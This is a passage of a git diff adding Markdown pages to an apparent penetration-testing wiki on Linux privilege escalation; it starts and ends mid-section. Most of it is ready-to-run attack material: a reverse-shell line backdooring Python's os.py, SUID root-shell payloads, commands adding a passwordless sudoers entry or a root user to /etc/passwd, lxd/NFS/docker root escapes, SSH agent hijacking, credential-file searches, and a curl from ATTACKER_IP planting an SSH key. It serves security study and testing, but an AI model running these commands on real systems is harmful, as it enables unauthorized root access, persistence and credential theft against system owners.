+fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files
+```
+
+```bash
+find / -type f -iname ".*" -ls 2>/dev/null
+```
+
+### **Web files**
+
+```bash
+ls -alhR /var/www/ 2>/dev/null
+ls -alhR /srv/www/htdocs/ 2>/dev/null
+ls -alhR /usr/local/www/apache22/data/
+ls -alhR /opt/lampp/htdocs/ 2>/dev/null
+```
+
+### **Backups**
+
+```bash
+find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll
+```
+
+### Known files containing passwords
+
+Read the code of [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), it searches for several possible files that could contain passwords.
+
+Other interesting tool that you can use to do so is: [**LaZagne**](https://github.com/AlessandroZ/LaZagne)\*\*\*\*
+
+### R**egexp** or **strings** inside files \(It could be also useful to check [**log files**](https://www.thegeekstuff.com/2011/08/linux-var-log-files/)\)
+
+```bash
+grep -lRi "password" /home /var/www /var/log 2>/dev/null | sort | uniq #Find string password (no cs) in those directories
+grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq #IPs inside logs
+```
+
+### E**nvironment**, there could be interesting data
+
+```text
+set
+env
+cat /proc/self/environ
+```
+
+## Writable files
+
+You should check if you can **write in some sensitive file**. For example, can you write to some **service configuration file**?
+
+```bash
+find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
+for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
+```
+
+For example, if the machine is running a **tomcat** server and you can **modify the Tomcat service configuration file inside /etc/systemd/,** then you can modify the lines:
+
+```text
+ExecStart=/path/to/backdoor
+User=root
+Group=root
+```
+
+Your backdoor will be executed the next time that tomcat is started.
+
+### Python library hijacking
+
+If you know from **where** a python script is going to be executed and you **can write inside** that folder or you can **modify python libraries**, you can modify the os library and backdoor it \(if you can write where python script is going to be executed, copy and paste the os.py library\).
+
+To **backdoor the library** just add at the end of the os.py library the following line \(change IP and PORT\):
+
+```python
+import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
+```
+
+### Logrotate exploitation
+
+There is a vulnerability on `logrotate`that allows a user with **write permissions over a log file** or **any** of its **parent directories** to make `logrotate`write **a file in any location**. If **logrotate** is being executed by **root**, then the user will be able to write any file in _**/etc/bash\_completion.d/**_ that will be executed by any user that login.
+So, if you have **write perms** over a **log file** **or** any of its **parent folder**, you can **privesc** \(on most linux distributions, logrotate is executed automatically once a day as **user root**\). Also, check if apart of _/var/log_ there are more files being **rotated**.
+
+More detailed information about the vulnerability can be found in this page [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition).
+
+You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten).
+
+## Internal Open Ports
+
+You should check if any undiscovered service is running in some port/interface. Maybe it is running with more privileges that it should or it is vulnerable to some kind of privilege escalation vulnerability.
+
+```bash
+netstat -punta
+ss -t; ss -u
+```
+
+## Sniffing
+
+Check if you can sniff traffic. If you can, you could be able to grab some credentials.
+
+```text
+timeout 1 tcpdump
+```
+
+## Storage information
+
+You can check the **storage information** using:
+
+```text
+df -h
+```
+
+There could be some **disks** that are **not mounted**
+
+```bash
+ls /dev | grep -i "sd"
+cat /etc/fstab
+lpstat -a# Check if there is any printer
+```
+
+## Check for weird executables
+
+Just check the name of the binaries inside **/bin, /usr/bin, /sbin, /usr/sbin…** \(directories inside **$PATH**\)
+
+## Other Tricks
+
+### Exploiting services
+
+[**NFS no\_root\_squash misconfiguration PE**](nfs-no_root_squash-misconfiguration-pe.md)
+
+### **Searching added software without package manager**
+
+```bash
+for i in /sbin/* /; do dpkg --search $i >/dev/null; done #Use ir inside each folder of the path
+```
+
+## More linux enumeration
+
+### Useful Software
+
+```bash
+which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 perl php ruby xterm doas sudo fetch 2>/dev/null #Check for some interesting software
+```
+
+### Network information
+
+```bash
+cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null #Known hosts and DNS
+dnsdomainname 2>/dev/null
+cat /etc/networks 2>/dev/null
+ifconfig 2>/dev/null || ip a 2>/dev/null #Info about interfaces
+iptables -L 2>/dev/null #Some iptables rules? access??
+arp -e 2>/dev/null #Known neightbours
+route 2>/dev/null #Network routes
+netstat -punta 2>/dev/null #Ports
+lsof -i #Files used by network services
+```
+
+### Users
+
+```bash
+gpg --list-keys #Do I have any PGP key?
+```
+
+### Files
+
+```bash
+ls -la $HOME #Files in $HOME
+find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER #Files in home by not in my $HOME
+find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; #Check for .ssh directories and their content
+```
+
+## More help
+
+[Static impacket binaries](https://github.com/ropnop/impacket_static_binaries)
+
+## Linux/Unix Privesc Tools
+
+#### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)\*\*\*\*
+
+**LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)\(-t option\)
+**Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)
+**Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)
+**BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)
+**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)
+**Mestaploit:** _**multi/recon/local\_exploit\_suggester**_
+**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)
+**EvilAbigail \(physical access\):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)
+**Recopilation of more scripts**: [https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux](https://gh-dark.rauchg.now.sh/1N3/PrivEsc/tree/master/linux)
+
+### Bibliography
+
+[https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
+[https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
+[https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
+[http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
+[https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
+[https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
+[https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
+[https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
+[https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
+
+
+
diff --git a/linux-unix/privilege-escalation/escaping-from-limited-bash.md b/linux-unix/privilege-escalation/escaping-from-limited-bash.md
new file mode 100644
index 00000000..67773118
--- /dev/null
+++ b/linux-unix/privilege-escalation/escaping-from-limited-bash.md
@@ -0,0 +1,40 @@
+# Escaping from restricted shells - Jails
+
+### **GTFOBins**
+
+**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io/) **if you can execute any binary with "Shell" property**
+
+### Modify PATH
+
+Check if you can modify the PATH env variable
+
+```bash
+echo $PATH #See the path of the executables that you can use
+PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
+echo /home/* #List directory
+```
+
+### Create script
+
+Check if you can create an executable file with _/bin/bash_ as content
+
+```bash
+red /bin/bash
+> w wx/path #Write /bin/bash in a writable and executable path
+```
+
+### Get bash from SSH
+
+If you are accessing via ssh you can trick this trick to execute a bash shell:
+
+```bash
+ssh -t user@ bash # Get directly an interactive shell
+```
+
+### Other tricks
+
+\*\*\*\*[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)
+****[**https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)
+****[**https://gtfobins.github.io**](https://gtfobins.github.io)
+**It could also be interesting the POST on** [**Bypass Bash restrictions**](../useful-linux-commands/bypass-bash-restrictions.md)\*\*\*\*
+
diff --git a/linux-unix/privilege-escalation/interesting-groups-linux-pe.md b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
new file mode 100644
index 00000000..1a1d823f
--- /dev/null
+++ b/linux-unix/privilege-escalation/interesting-groups-linux-pe.md
@@ -0,0 +1,170 @@
+# Interesting Groups - Linux PE
+
+## Sudo/Admin Groups
+
+### **PE - Method 1**
+
+**Sometimes**, **by default \(or because some software needs it\)** inside the **/etc/sudoers** file you can find some of these lines:
+
+```bash
+# Allow members of group sudo to execute any command
+%sudo ALL=(ALL:ALL) ALL
+
+# Allow members of group admin to execute any command
+%admin ALL=(ALL:ALL) ALL
+```
+
+This means that **any user that belongs to the group sudo or admin can execute anything as sudo**.
+
+If this is the case, to **become root you can just execute**:
+
+```text
+sudo su
+```
+
+### PE - Method 2
+
+Find all suid binaries and check if there is the binary **Pkexec**:
+
+```bash
+find / -perm -4000 2>/dev/null
+```
+
+If you find that the binary pkexec is a SUID binary and you belong to sudo or admin, you could probably execute binaries as sudo using pkexec.
+Check the contents of:
+
+```bash
+cat /etc/polkit-1/localauthority.conf.d/*
+```
+
+There you will find which groups are allowed to execute **pkexec** and **by default** in some linux can **appear** some of the groups **sudo or admin**.
+
+To **become root you can execute**:
+
+```bash
+pkexec "/bin/sh" #You will be prompted for your user password
+```
+
+If you try to execute **pkexec** and you get this **error**:
+
+```bash
+polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
+==== AUTHENTICATION FAILED ===
+Error executing command as another user: Not authorized
+```
+
+**It's not because you don't have permissions but because you aren't connected without a GUI**. And there is a work around for this issue here: [https://github.com/NixOS/nixpkgs/issues/18012\#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). You need **2 different ssh sessions**:
+
+{% code title="session1" %}
+```bash
+echo $$ #Step1: Get current PID
+pkexec "/bin/bash" #Step 3, execute pkexec
+#Step 5, if correctly authenticate, you will have a root session
+```
+{% endcode %}
+
+{% code title="session2" %}
+```bash
+pkttyagent --process #Step 2, attach pkttyagent to session1
+#Step 4, you will be asked in this session to authenticate to pkexec
+```
+{% endcode %}
+
+## Wheel Group
+
+**Sometimes**, **by default** inside the **/etc/sudoers** file you can find this line:
+
+```text
+%wheel ALL=(ALL:ALL) ALL
+```
+
+This means that **any user that belongs to the group wheel can execute anything as sudo**.
+
+If this is the case, to **become root you can just execute**:
+
+```text
+sudo su
+```
+
+## Shadow Group
+
+Users from the **group shadow** can **read** the **/etc/shadow** file:
+
+```text
+-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
+```
+
+So, read the file and try to **crack some hashes**.
+
+## Disk Group
+
+ This privilege is almost **equivalent to root access** as you can access all the data inside of the machine.
+
+Files:`/dev/sd[a-z][1-9]`
+
+```text
+debugfs /dev/sda1
+debugfs: cd /root
+debugfs: ls
+debugfs: cat /root/.ssh/id_rsa
+debugfs: cat /etc/shadow
+```
+
+Note that using debugfs you can also **write files**. For example to copy `/tmp/asd1.txt` to `/tmp/asd2.txt` you can do:
+
+```bash
+debugfs -w /dev/sda1
+debugfs: dump /tmp/asd1.txt /tmp/asd2.txt
+```
+
+However, if you try to **write files owned by root** \(like `/etc/shadow` or `/etc/passwd`\) you will have a "**Permission denied**" error.
+
+## Video Group
+
+Using the command `w` you can find **who is logged on the system** and it will show an output like the following one:
+
+```bash
+USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
+yossi tty1 22:16 5:13m 0.05s 0.04s -bash
+moshe pts/1 10.10.14.44 02:53 24:07 0.06s 0.06s /bin/bash
+```
+
+The **tty1** means that the user **yossi is logged physically** to a terminal on the machine.
+
+The **video group** has access to view the screen output. Basically you can observe the the screens. In order to do that you need to **grab the current image on the screen** in raw data and get the resolution that the screen is using. The screen data can be saved in `/dev/fb0` and you could find the resolution of this screen on `/sys/class/graphics/fb0/virtual_size`
+
+```bash
+cat /dev/fb0 > /tmp/screen.raw
+cat /sys/class/graphics/fb0/virtual_size
+```
+
+To **open** the **raw image** you can use **GIMP**, select the **`screen.raw`** file and select as file type **Raw image data**:
+
+![](../../.gitbook/assets/image%20%28208%29.png)
+
+Then modify the Width and Height to the ones used on the screen and check different Image Types \(and select the one that shows better the screen\):
+
+![](../../.gitbook/assets/image%20%28295%29.png)
+
+## Root Group
+
+It looks like by default **members of root group** could have access to **modify** some **service** configuration files or some **libraries** files or **other interesting things** that could be used to escalate privileges...
+
+**Check which files root members can modify**:
+
+```bash
+find / -group root -perm -g=w 2>/dev/null
+```
+
+## Docker Group
+
+You can mount the root filesystem of the host machine to an instance’s volume, so when the instance starts it immediately loads a `chroot` into that volume. This effectively gives you root on the machine.
+
+{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
+
+{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
+
+## lxc/lxd Group
+
+[lxc - Privilege Escalation](lxd-privilege-escalation.md)
+
diff --git a/linux-unix/privilege-escalation/lxd-privilege-escalation.md b/linux-unix/privilege-escalation/lxd-privilege-escalation.md
new file mode 100644
index 00000000..c4cc7722
--- /dev/null
+++ b/linux-unix/privilege-escalation/lxd-privilege-escalation.md
@@ -0,0 +1,70 @@
+# lxc - Privilege escalation
+
+If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
+
+## Exploiting without internet
+
+You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
+
+```text
+#Install requirements
+sudo apt update
+sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
+#Clone repo
+go get -d -v github.com/lxc/distrobuilder
+#Make distrobuilder
+cd $HOME/go/src/github.com/lxc/distrobuilder
+make
+cd
+#Prepare the creation of alpine
+mkdir -p $HOME/ContainerImages/alpine/
+cd $HOME/ContainerImages/alpine/
+cp $HOME/go/src/github.com/lxc/distrobuilder/doc/examples/alpine alpine.yaml
+#Create the container
+sudo $HOME/go/bin/distrobuilder build-lxd ubuntu.yaml
+```
+
+Then, upload to the server the files **lxd.tar.xz** and **rootfs.squashfs**
+
+Add the image:
+
+```text
+lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
+lxc image list #You can see your new imported image
+```
+
+Create a container and add root path
+
+```text
+lxc init alpine privesc -c security.privileged=true
+lxc list #List containers
+
+lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
+```
+
+Execute the container:
+
+```text
+lxc start test
+lxc exec privesc /bin/sh
+[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
+```
+
+## With internet
+
+You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
+
+```text
+lxc init ubuntu:16.04 test -c security.privileged=true
+lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
+lxc start test
+lxc exec test bash
+[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
+```
+
+## Other Refs
+
+{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
+
+
+
diff --git a/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
new file mode 100644
index 00000000..b2d8b50a
--- /dev/null
+++ b/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
@@ -0,0 +1,45 @@
+# NFS no\_root\_squash/no\_all\_squash misconfiguration PE
+
+Read the _**/etc/exports**_ file, if you find some directory that is configured as **no\_root\_squash**, then you can **access** it from **as a client** and **write inside** that directory **as** if you were the local **root** of the machine.
+
+**no\_root\_squash**: This option basically gives authority to the root user on the client to access files on the NFS server as root. And this can lead to serious security implications.
+
+**no\_all\_squash:** This is similar to **no\_root\_squash** option but applies to **non-root users**. Imagine, you have a shell as nobody user; checked /etc/exports file; no\_all\_squash option is present; check /etc/passwd file; emulate a non-root user; create a suid file as that user \(by mounting using nfs\). Execute the suid as nobody user and become different user.
+
+## Privilege Escalation
+
+If you have found this vulnerability, you can exploit it:
+
+* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder the **/bin/bash** binary and giving it **SUID** rights, and **executing from the victim** machine that bash binary.
+
+```bash
+#Attacker, as root user
+mkdir /tmp/pe
+mount -t nfs : /tmp/pe
+cd /tmp/pe
+cp /bin/bash .
+chmod +s bash
+
+#Victim
+cd
+./bash -p #ROOT shell
+```
+
+* **Mounting that directory** in a client machine, and **as root copying** inside the mounted folder our come compiled payload that will abuse the SUID permission, give to it **SUID** rights, and **execute from the victim** machine that binary \(you can find here some[ C SUID payloads](payloads-to-execute.md#c)\).
+
+```bash
+#Attacker, as root user
+gcc payload.c -o payload
+mkdir /tmp/pe
+mount -t nfs : /tmp/pe
+cd /tmp/pe
+cp /tmp/payload .
+chmod +s payload
+
+#Victim
+cd
+./payload #ROOT shell
+```
+
+
+
diff --git a/linux-unix/privilege-escalation/payloads-to-execute.md b/linux-unix/privilege-escalation/payloads-to-execute.md
new file mode 100644
index 00000000..6b9cbfcb
--- /dev/null
+++ b/linux-unix/privilege-escalation/payloads-to-execute.md
@@ -0,0 +1,57 @@
+# Payloads to execute
+
+## Bash
+
+```bash
+cp /bin/bash /tmp/b && chmod +s /tmp/b
+/bin/b -p #Maintains root privileges from suid, working in debian & buntu
+```
+
+## C
+
+```c
+#gcc payload.c -o payload
+int main(void){
+ setresuid(0, 0, 0); #Set as user suid user
+ system("/bin/sh");
+ return 0;
+}
+```
+
+```c
+#gcc payload.c -o payload
+#include
+#include
+#include
+
+int main(){
+ setuid(getuid());
+ system("/bin/bash");
+ return 0;
+}
+```
+
+## Scripts
+
+Can you make root execute something?
+
+### **www-data to sudoers**
+
+```bash
+echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
+```
+
+### **Change root password**
+
+```bash
+echo "root:hacked" | chpasswd
+```
+
+### Add new root user to /etc/passwd
+
+```bash
+echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
+```
+
+
+
diff --git a/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md
new file mode 100644
index 00000000..4d7d7099
--- /dev/null
+++ b/linux-unix/privilege-escalation/ssh-forward-agent-exploitation.md
@@ -0,0 +1,164 @@
+# SSH Forward Agent exploitation
+
+## Summary
+
+What can you do if you discover inside the `/etc/ssh_config` or inside `$HOME/.ssh/config` configuration this:
+
+```text
+ForwardAgent yes
+```
+
+If you are root inside the machine you can probably **access any ssh connection made by any agent** that you can find in the _/tmp_ directory
+
+Impersonate Bob using one of Bob's ssh-agent:
+
+```bash
+SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
+```
+
+### Why does this work?
+
+When you set the variable `SSH_AUTH_SOCK` you are accessing the keys of Bob that have been used in Bobs ssh connection. Then, if his private key is still there \(normally it will be\), you will be able to access any host using it.
+
+As the private key is saved in the memory of the agent uncrypted, I suppose that if you are Bob but you don't know the password of the private key, you can still access the agent and use it.
+
+Another option, is that the user owner of the agent and root may be able to access the memory of the agent and extract the private key.
+
+## Long explanation and exploitation
+
+**Taken from:** [**https://www.clockwork.com/news/2012/09/28/602/ssh\_agent\_hijacking/**](https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/)\*\*\*\*
+
+### **When ForwardAgent Can’t Be Trusted**
+
+SSH without passwords makes life with Unix-like operating systems much easier. If your network requires chained ssh sessions \(to access a restricted network, for example\), agent forwarding becomes extremely helpful. With agent forwarding it’s possible for me to connect from my laptop to my dev server and from there run an svn checkout from yet another server, all without passwords, while keeping my private key safe on my local workstation.
+
+This can be dangerous, though. A quick web search will reveal several articles indicating this is only safe if the intermediate hosts are trustworthy. Rarely, however, will you find an explanation of _why_ it’s dangerous.
+
+That’s what this article is for. But first, some background.
+
+### **How Passwordless Authentication Works**
+
+When authenticating in normal mode, SSH uses your password to prove that you are who you say you are. The server compares a hash of this password to one it has on file, verifies that the hashes match, and lets you in.
+
+If an attacker is able to break the encryption used to protect your password while it’s being sent to the server, they can steal the it and log in as you whenever they desire. If an attacker is allowed to perform hundreds of thousands of attempts, they can eventually guess your password.
+
+A much safer authentication method is [public key authentication](http://www.ibm.com/developerworks/library/l-keyc/index.html), a way of logging in without a password. Public key authentication requires a matched pair of public and private keys. The public key encrypts messages that can only be decrypted with the private key. The remote computer uses its copy of your public key to encrypt a secret message to you. You prove you are you by decrypting the message using your private key and sending the message back to the remote computer. Your private key remains safely on your local computer the entire time, safe from attack.
+
+The private key is valuable and must be protected, so by default it is stored in an encrypted format. Unfortunately this means entering your encryption passphrase before using it. Many articles suggest using passphrase-less \(unencrypted\) private keys to avoid this inconvenience. That’s a bad idea, as anyone with access to your workstation \(via physical access, theft, or hackery\) now also has free access to any computers configured with your public key.
+
+OpenSSH includes [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent), a daemon that runs on your local workstation. It loads a decrypted copy of your private key into memory, so you only have to enter your passphrase once. It then provides a local [socket](http://en.wikipedia.org/wiki/Unix_domain_socket) that the ssh client can use to ask it to decrypt the encrypted message sent back by the remote server. Your private key stays safely ensconced in the ssh-agent process’ memory while still allowing you to ssh around without typing in passwords.
+
+### **How ForwardAgent Works**
+
+Many tasks require “chaining” ssh sessions. Consider my example from earlier: I ssh from my workstation to the dev server. While there, I need to perform an svn update, using the “svn+ssh” protocol. Since it would be silly to leave an unencrypted copy of my super-secret private key on a shared server, I’m now stuck with password authentication. If, however, I enabled “ForwardAgent” in the ssh config on my workstation, ssh uses its built-in tunneling capabilities to create another socket on the dev server that is tunneled back to the ssh-agent socket on my local workstation. This means that the ssh client on the dev server can now send “decrypt this secret message” requests directly back to the ssh-agent running on my workstation, authenticating itself to the svn server without ever having access to my private key.
+
+### **Why This Can Be Dangerous**
+
+Simply put, anyone with root privilege on the the intermediate server can make free use of your ssh-agent to authenticate them to other servers. A simple demonstration shows how trivially this can be done. Hostnames and usernames have been changed to protect the innocent.
+
+My laptop is running ssh-agent, which communicates with the ssh client programs via a socket. The path to this socket is stored in the SSH\_AUTH\_SOCK environment variable:
+
+```text
+mylaptop:~ env|grep SSH_AUTH_SOCK
+SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
+
+mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
+srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
+```
+
+The [ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) program lets us view and interact with keys in the agent:
+
+```text
+mylaptop:~ alice$ ssh-add -l
+2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
+```
+
+I have “ForwardAgent yes” in the ~/.ssh/config on my laptop. So ssh is going to create a tunnel connecting the local socket to a local socket on the remote server:
+
+```text
+mylaptop:~ alice$ ssh seattle
+
+seattle:~ $ env|grep SSH_AUTH_SOCK
+SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
+```
+
+Even though my keys are not installed on “seattle”, the ssh client programs are still able to access the agent running on my local machine:
+
+```text
+seattle:~ alice $ ssh-add -l
+2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
+```
+
+So… who can we mess with?
+
+```text
+seattle:~ alice $ who
+alice pts/0 2012-04-06 18:24 (office.example.com)
+bob pts/1 2012-04-03 01:29 (office.example.com)
+alice pts/3 2012-04-06 18:31 (office.example.com)
+alice pts/5 2012-04-06 18:31 (office.example.com)
+alice pts/6 2012-04-06 18:33 (office.example.com)
+charlie pts/23 2012-04-06 13:10 (office.example.com)
+charlie pts/27 2012-04-03 12:32 (office.example.com)
+bob pts/29 2012-04-02 10:58 (office.example.com)
+```
+
+I’ve never liked Bob. To find his agent connection, I need to find the child process of one of his ssh sessions:
+
+```text
+seattle:~ alice $ sudo -s
+[sudo] password for alice:
+
+seattle:~ root # pstree -p bob
+sshd(16816)───bash(16817)
+
+sshd(25296)───bash(25297)───vim(14308)
+```
+
+There are several ways for root to view the environment of a running process. On Linux, the data is available in /proc/<pid>/environ. Since it’s stored in NULL-terminated strings, I’ll use tr to convert the NULLs to newlines:
+
+```text
+seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
+SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
+```
+
+I now have everything I need to know in order to hijack Bob’s ssh-agent:
+
+```text
+seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
+2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
+```
+
+If I happen to have a specific target in mind, I should now be able to connect directly. Otherwise, just watching the process list or grepping through Bob’s history file should present plenty of targets of opportunity. In this case, I know Bob has all sorts of super secret files stored on the server named “boston”:
+
+```text
+seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
+bob@boston:~$ whoami
+bob
+```
+
+I have succesfully parlayed my root privileges on “seattle” to access as bob on “boston”. I’ll bet I can use that to get him fired.
+
+### **Protect Yourself!**
+
+Don’t let your ssh-agent store your keys indefinitely. On OS X, configure your Keychain to lock after inactivity or when your screen locks. On other Unix-y platforms, pass the -t option to ssh-agent so its keys will be removed after seconds.
+
+Don’t enable agent forwarding when connecting to untrustworthy hosts. Fortunately, the ~/.ssh/config syntax makes this fairly simple:
+
+```text
+Host trustworthyhost
+ ForwardAgent yes
+```
+
+```text
+Host *
+ ForwardAgent no
+```
+
+### **Recommended Reading**
+
+* [OpenSSH key management](http://www.ibm.com/developerworks/library/l-keyc/index.html) – Daniel Robbins
+* [An Illustrated Guide to SSH Agent Forwarding](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – Steve Friedl
+* [ssh-agent manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
+* [ssh-add manual](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
+
diff --git a/linux-unix/privilege-escalation/wildcards-spare-tricks.md b/linux-unix/privilege-escalation/wildcards-spare-tricks.md
new file mode 100644
index 00000000..b93a0dc9
--- /dev/null
+++ b/linux-unix/privilege-escalation/wildcards-spare-tricks.md
@@ -0,0 +1,24 @@
+# Wildcards Spare tricks
+
+### 7z
+
+In **7z** even using `--` before `*` \(note that `--` means that the following input cannot treated as parameters, so just file paths in this case\) you can cause an arbitrary error to read a file, so if a command like the following one is being executed by root:
+
+```bash
+7za a /backup/$filename.zip -t7z -snl -p$pass -- *
+```
+
+And you can create files in the folder were this is being executed, you could create the file `@root.txt` and the file `root.txt` being a **symlink** to the file you want to read:
+
+```bash
+cd /path/to/7z/acting/folder
+touch @root.txt
+ln -s /file/you/want/to/read root.txt
+```
+
+Then, when **7z** is execute, it will treat `root.txt` as a file containing the list of files it should compress \(thats what the existence of `@root.txt` indicates\) and when it 7z read `root.txt` it will read `/file/you/want/to/read` and **as the content of this file isn't a list of files, it will throw and error** showing the content.
+
+_More info in Write-ups of the box CTF from HackTheBox._
+
+\_\_
+
diff --git a/linux-unix/useful-linux-commands/README.md b/linux-unix/useful-linux-commands/README.md
new file mode 100644
index 00000000..9fdd0e44
--- /dev/null
+++ b/linux-unix/useful-linux-commands/README.md
@@ -0,0 +1,259 @@
+# Useful Linux Commands
+
+## Common Bash
+
+```bash
+#Exfiltration using Base64
+base64 -w 0 file
+
+#Get HexDump without new lines
+xxd -p boot12.bin | tr -d '\n'
+
+#Add public key to authorized keys
+curl https://ATTACKER_IP/.ssh/id_rsa.pub >> ~/.ssh/authotized_keys
+
